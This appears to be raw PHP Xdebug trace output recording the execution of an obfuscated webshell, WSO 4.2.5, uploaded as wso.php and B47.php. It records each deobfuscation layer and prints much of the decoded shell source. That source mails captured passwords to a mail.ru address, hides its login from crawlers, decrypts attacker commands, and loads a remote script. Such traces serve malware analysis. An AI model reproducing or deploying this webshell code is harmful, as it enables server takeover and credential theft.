3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	10	$▚ = 'FilesMan'
4	22	0	0.010413	1097936	md5	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	11	1	'python-requests/2.25.1'
4	22	1	0.010430	1098032
4	22	R			'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	11	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
4	23	0	0.010458	1098000	md5	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	12	1	'localhost'
4	23	1	0.010473	1098096
4	23	R			'421aa90e079fa326b6494f812ad13e79'
4	24	0	0.010491	1098000	md5	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	13	1	'localhost'
4	24	1	0.010504	1098096
4	24	R			'421aa90e079fa326b6494f812ad13e79'
4	25	0	0.010519	1098064	prototype	1		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	13	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	357	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
5	26	0	0.010554	1098440	setcookie	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	358	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5	26	1	0.010579	1098640
5	26	R			TRUE
4	25	1	0.010594	1098576
3		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	16	_POST['charset'] = 'UTF-8'
4	27	0	0.010618	1098952	ini_set	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	25	2	'error_log'	NULL
4	27	1	0.010635	1099024
4	27	R			''
4	28	0	0.010649	1098952	ini_set	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	26	2	'log_errors'	0
4	28	1	0.010665	1099024
4	28	R			'1'
4	29	0	0.010678	1098952	ini_set	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	27	2	'max_execution_time'	0
4	29	1	0.010695	1099056
4	29	R			'30'
4	30	0	0.010708	1098952	set_time_limit	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	28	1	0
4	30	1	0.010724	1099016
4	30	R			FALSE
4	31	0	0.010738	1098984	define	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	31	2	'VERSION'	'4.2.5'
4	31	1	0.010754	1099088
4	31	R			TRUE
4	32	0	0.010767	1099016	get_magic_quotes_gpc	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	32	0
4	32	1	0.010780	1099016
4	32	R			FALSE
4	33	0	0.010794	1099016	md5	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	43	1	'localhost'
4	33	1	0.010809	1099112
4	33	R			'421aa90e079fa326b6494f812ad13e79'
4	34	0	0.010824	1099016	hardLogin	1		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	44	0
4		A						/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	50	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
5	35	0	0.010857	1099016	implode	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	51	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
5	35	1	0.010878	1099160
5	35	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
5	36	0	0.010896	1099096	preg_match	0		/var/www/html/uploads/B47.php(2) : eval()'d code(1) : eval()'d code	51	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
5	36	1	0.010916	1099160
5	36	R			0
			0.010972	1019728
TRACE END   [2023-02-12 19:49:48.589384]

data/traces/04310f8a34d679d552f49223e59e488b_trace-1676249849.9787.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:57:55.876495]
1	0	1	0.000174	393512
1	3	0	0.000484	460552	{main}	1		/var/www/html/uploads/wso.php	0	0
2	4	0	0.000505	460552	error_reporting	0		/var/www/html/uploads/wso.php	1	1	0
2	4	1	0.000525	460592
2	4	R			22527
1		A						/var/www/html/uploads/wso.php	1	$Fls = 'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d%2B8T58YOxy4bsbSGXDnnl%2FbEfbYnbj%2Fqry72pN22J3Yff17Hxkn%2FMefB3Nss%2Bsk5zE6NcGbfFn3%2FuOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn%2BCnEVs9I7BW%2B2UawbPws3Xg%2F96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm%2BahL3pemrCc5nLf09aP0dTs4fvsSd%2B9xU%2F67Umnm%2FPPH%2BYuNMhvCsejXvtX1PDdzz8PJuaXucJ%2Fo6fu2f4bsa%2BN5qY7hTG6eB4Ub93izL%2B%2FPQ2Wh8T97l9CmbJka%2FtbbCC%2F48uy1lvv%2Bw0s3hMns9G2RHfmy2tlkHnZj%2B%2FZHxdZL1kPGcb4M%2FBm3n7uHP6iNanbTi7JnF%2FCt'
2	5	0	0.000645	460552	function_exists	0		/var/www/html/uploads/wso.php	1	1	'openssl_decrypt'
2	5	1	0.000663	460592
2	5	R			TRUE
2	6	0	0.000681	460552	getcwd	0		/var/www/html/uploads/wso.php	1	0
2	6	1	0.000698	460600
2	6	R			'/var/www/html/uploads'
2	7	0	0.000719	460600	basename	0		/var/www/html/uploads/wso.php	1	1	'/uploads/wso.php'
2	7	1	0.000737	460664
2	7	R			'wso.php'
2	8	0	0.000754	460608	define	0		/var/www/html/uploads/wso.php	1	3	'_FILE_'	'/var/www/html/uploads/wso.php'	FALSE
2	8	1	0.000773	460760
2	8	R			TRUE
2	9	0	0.000790	460640	getcwd	0		/var/www/html/uploads/wso.php	2	0
2	9	1	0.000807	460688
2	9	R			'/var/www/html/uploads'
2	10	0	0.000824	460688	define	0		/var/www/html/uploads/wso.php	2	3	'_DIR_'	'/var/www/html/uploads'	FALSE
2	10	1	0.000842	460840
2	10	R			TRUE
1		A						/var/www/html/uploads/wso.php	2	$e7091 = 'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
2	11	0	0.000885	460720	e7061	1		/var/www/html/uploads/wso.php	2	1	'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
3	12	0	0.000910	460720	base64_decode	0		/var/www/html/uploads/wso.php	1	1	'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
3	12	1	0.000937	460976
3	12	R			'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'
2		A						/var/www/html/uploads/wso.php	1	$ed = 'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'
3	13	0	0.000988	460944	openssl_decrypt	0		/var/www/html/uploads/wso.php	1	5	'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'	'AES-256-CBC'	'1234567891234567'	0	'1234567891234567'
3	13	1	0.001039	461272
3	13	R			'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2		A						/var/www/html/uploads/wso.php	1	$n = 'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2	11	1	0.001084	460880
2	11	R			'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2	14	0	0.001123	462656	eval	1	'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'	/var/www/html/uploads/wso.php	2	0
3	15	0	0.001145	462656	urldecode	0		/var/www/html/uploads/wso.php(2) : eval()'d code	1	1	'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d%2B8T58YOxy4bsbSGXDnnl%2FbEfbYnbj%2Fqry72pN22J3Yff17Hxkn%2FMefB3Nss%2Bsk5zE6NcGbfFn3%2FuOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn%2BCnEVs9I7BW%2B2UawbPws3Xg%2F96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm%2BahL3pemrCc5nLf09aP0dTs4fvsSd%2B9xU%2F67Umnm%2FPPH%2BYuNMhvCsejXvtX1PDdzz8PJuaXucJ%2Fo6fu2f4bsa%2BN5qY7hTG6eB4Ub93izL%2B%2FPQ2Wh8T97l9CmbJka%2FtbbCC%2F48uy1lvv%2Bw0s3hMns9G2RHfmy2tlkHnZj%2B%2FZHxdZL1kPGcb4M%2FBm3n7uHP6iNanbTi7JnF%2FCt'
3	15	1	0.001444	524128
3	15	R			'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d+8T58YOxy4bsbSGXDnnl/bEfbYnbj/qry72pN22J3Yff17Hxkn/MefB3Nss+sk5zE6NcGbfFn3/uOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn+CnEVs9I7BW+2UawbPws3Xg/96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm+ahL3pemrCc5nLf09aP0dTs4fvsSd+9xU/67Umnm/PPH+YuNMhvCsejXvtX1PDdzz8PJuaXucJ/o6fu2f4bsa+N5qY7hTG6eB4Ub93izL+/PQ2Wh8T97l9CmbJka/tbbCC/48uy1lvv+w0s3hMns9G2RHfmy2tlkHnZj+/ZHxdZL1kPGcb4M/Bm3n7uHP6iNanbTi7JnF/Ct/vJk63m7jGiPyfPXt6LTmLV7+9ihpuY9mwt6WfK2eG+2lPp5k9'
3	16	0	0.001548	524096	base64_decode	0		/var/www/html/uploads/wso.php(2) : eval()'d code	1	1	'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d+8T58YOxy4bsbSGXDnnl/bEfbYnbj/qry72pN22J3Yff17Hxkn/MefB3Nss+sk5zE6NcGbfFn3/uOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn+CnEVs9I7BW+2UawbPws3Xg/96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm+ahL3pemrCc5nLf09aP0dTs4fvsSd+9xU/67Umnm/PPH+YuNMhvCsejXvtX1PDdzz8PJuaXucJ/o6fu2f4bsa+N5qY7hTG6eB4Ub93izL+/PQ2Wh8T97l9CmbJka/tbbCC/48uy1lvv+w0s3hMns9G2RHfmy2tlkHnZj+/ZHxdZL1kPGcb4M/Bm3n7uHP6iNanbTi7JnF/Ct/vJk63m7jGiPyfPXt6LTmLV7+9ihpuY9mwt6WfK2eG+2lPp5k9'
3	16	1	0.001837	581472
3	16	R			'x��Ys�Z\022.��$a:���P`&�Rm\004\b�7�\\� a�� ~��\\��\004vyw�\023��\016�.\033���\\9��}�\'n?�.��ݶ\'v\037^��I�1���,��9�N�pf�\026}���L3��q±\026� q6�U��Wo~�\020Γ_�|��\032�͞\f��\021[=#�V�e\032���u�ޯi�5�a�c��\030����xz��݁w�:��1F\a\030Ø�no����zj�s��OZ?GS���\'~�\025?�&�o�<���!�+\036�{�_S�w<�<��^�\t����g�nƾ7���\024���xQ�w�2���6Z\037\023��}\nfɑ��m����.�Yo��4�xL��F�\021ߛ-��A�f?�d|]d�d<g\033���y��s��֧m8�&q\n��&N���ƈ��={z-9�W���\032ncٰ���+g��iO��=�Z�$�n\036�f�9���I���$^��3�6�g����[9��\021L~'
3	17	0	0.002671	520000	gzuncompress	0		/var/www/html/uploads/wso.php(2) : eval()'d code	1	1	'x��Ys�Z\022.��$a:���P`&�Rm\004\b�7�\\� a�� ~��\\��\004vyw�\023��\016�.\033���\\9��}�\'n?�.��ݶ\'v\037^��I�1���,��9�N�pf�\026}���L3��q±\026� q6�U��Wo~�\020Γ_�|��\032�͞\f��\021[=#�V�e\032���u�ޯi�5�a�c��\030����xz��݁w�:��1F\a\030Ø�no����zj�s��OZ?GS���\'~�\025?�&�o�<���!�+\036�{�_S�w<�<��^�\t����g�nƾ7���\024���xQ�w�2���6Z\037\023��}\nfɑ��m����.�Yo��4�xL��F�\021ߛ-��A�f?�d|]d�d<g\033���y��s��֧m8�&q\n��&N���ƈ��={z-9�W���\032ncٰ���+g��iO��=�Z�$�n\036�f�9���I���$^��3�6�g����[9��\021L~'
3	17	1	0.004127	692064
3	17	R			'JTNDJTNGcGhwJTBBJTJGJTJGLS0tLS0tLS0tLS0tLS1XYXRjaGluZyt3ZWJzaGVsbCUyMS0tLS0tLS0tLS0tLS0tJTBBaWYlMjhhcnJheV9rZXlfZXhpc3RzJTI4JTI3d2F0Y2hpbmclMjclMkMlMjRfUE9TVCUyOSUyOSU3QiUwQSUwOSUyNHRtcCslM0QrJTI0X1NFUlZFUiU1QiUyN1NFUlZFUl9OQU1FJTI3JTVELiUyNF9TRVJWRVIlNUIlMjdQSFBfU0VMRiUyNyU1RC4lMjIlNUNuJTIyLiUyNF9QT1NUJTVCJTI3cGFzcyUyNyU1RCUzQislNDBtYWlsJTI4JTI3eHh4JTQwbWFpbC5ydSUyNyUyQyslMjdyb290JTI3JTJDKyUyNHRtcCUyOSUzQislMkYlMkYrRWRpdCtvcitkZWxldGUlMjElMEElN0QlMEElMkYlMkYtLS0tLS0tLS0tLS0tLS0tLVBhc3N3b3JkLS0tLS0tLS0tLS0t'
3	18	0	0.004272	634688	base64_decode	0		/var/www/html/uploads/wso.php(2) : eval()'d code	1	1	'JTNDJTNGcGhwJTBBJTJGJTJGLS0tLS0tLS0tLS0tLS1XYXRjaGluZyt3ZWJzaGVsbCUyMS0tLS0tLS0tLS0tLS0tJTBBaWYlMjhhcnJheV9rZXlfZXhpc3RzJTI4JTI3d2F0Y2hpbmclMjclMkMlMjRfUE9TVCUyOSUyOSU3QiUwQSUwOSUyNHRtcCslM0QrJTI0X1NFUlZFUiU1QiUyN1NFUlZFUl9OQU1FJTI3JTVELiUyNF9TRVJWRVIlNUIlMjdQSFBfU0VMRiUyNyU1RC4lMjIlNUNuJTIyLiUyNF9QT1NUJTVCJTI3cGFzcyUyNyU1RCUzQislNDBtYWlsJTI4JTI3eHh4JTQwbWFpbC5ydSUyNyUyQyslMjdyb290JTI3JTJDKyUyNHRtcCUyOSUzQislMkYlMkYrRWRpdCtvcitkZWxldGUlMjElMEElN0QlMEElMkYlMkYtLS0tLS0tLS0tLS0tLS0tLVBhc3N3b3JkLS0tLS0tLS0tLS0t'
3	18	1	0.004801	806752
3	18	R			'%3C%3Fphp%0A%2F%2F--------------Watching+webshell%21--------------%0Aif%28array_key_exists%28%27watching%27%2C%24_POST%29%29%7B%0A%09%24tmp+%3D+%24_SERVER%5B%27SERVER_NAME%27%5D.%24_SERVER%5B%27PHP_SELF%27%5D.%22%5Cn%22.%24_POST%5B%27pass%27%5D%3B+%40mail%28%27xxx%40mail.ru%27%2C+%27root%27%2C+%24tmp%29%3B+%2F%2F+Edit+or+delete%21%0A%7D%0A%2F%2F-----------------Password---------------------%0A%24%E2%96%9B+%3D+%2221232f297a57a5a743894a0e4a801fc3%22%3B+%2F%2Fadmin%0A%24%E2%96%98+%3D+true%3B%0A%24%E2%96%9C+%3D'
3	19	0	0.004912	634688	urldecode	0		/var/www/html/uploads/wso.php(2) : eval()'d code	1	1	'%3C%3Fphp%0A%2F%2F--------------Watching+webshell%21--------------%0Aif%28array_key_exists%28%27watching%27%2C%24_POST%29%29%7B%0A%09%24tmp+%3D+%24_SERVER%5B%27SERVER_NAME%27%5D.%24_SERVER%5B%27PHP_SELF%27%5D.%22%5Cn%22.%24_POST%5B%27pass%27%5D%3B+%40mail%28%27xxx%40mail.ru%27%2C+%27root%27%2C+%24tmp%29%3B+%2F%2F+Edit+or+delete%21%0A%7D%0A%2F%2F-----------------Password---------------------%0A%24%E2%96%9B+%3D+%2221232f297a57a5a743894a0e4a801fc3%22%3B+%2F%2Fadmin%0A%24%E2%96%98+%3D+true%3B%0A%24%E2%96%9C+%3D'
3	19	1	0.005993	765792
3	19	R			'<?php\n//--------------Watching webshell!--------------\nif(array_key_exists(\'watching\',$_POST)){\n\t$tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'xxx@mail.ru\', \'root\', $tmp); // Edit or delete!\n}\n//-----------------Password---------------------\n$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tpr'
3	20	0	0.008637	1097936	eval	1	'?><?php\n//--------------Watching webshell!--------------\nif(array_key_exists(\'watching\',$_POST)){\n\t$tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'xxx@mail.ru\', \'root\', $tmp); // Edit or delete!\n}\n//-----------------Password---------------------\n$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\n}\nif(empty($_POST[\'charset\']))\n\t$_POST[\'charset\'] = $▜;\nif (!isset($_POST[\'ne\'])) {\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n}\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\nif (PHP_VERSION_ID < 70000)\n\t@set_magic_quotes_runtime(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction stripslashes_array($array) {\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\n\t}\n\t$_POST = stripslashes_array($_POST);\n    $_COOKIE = stripslashes_array($_COOKIE);\n}\n/* (С) 11.2011 oRb */\nif(!empty($▛)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\n        hardLogin();\n}\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\nfunction hardLogin() {\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  header(\'HTTP/1.0 404 Not Found\');\n\t\t  exit;\n\t\t  }\n\t\t}\n\tdie("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n/* (С) 04.2015 Pirat */\nfunction hardHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\n\tinput[type=\'button\']{background-color:#2E6E9C;}\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#202832;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>\n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p3.value = 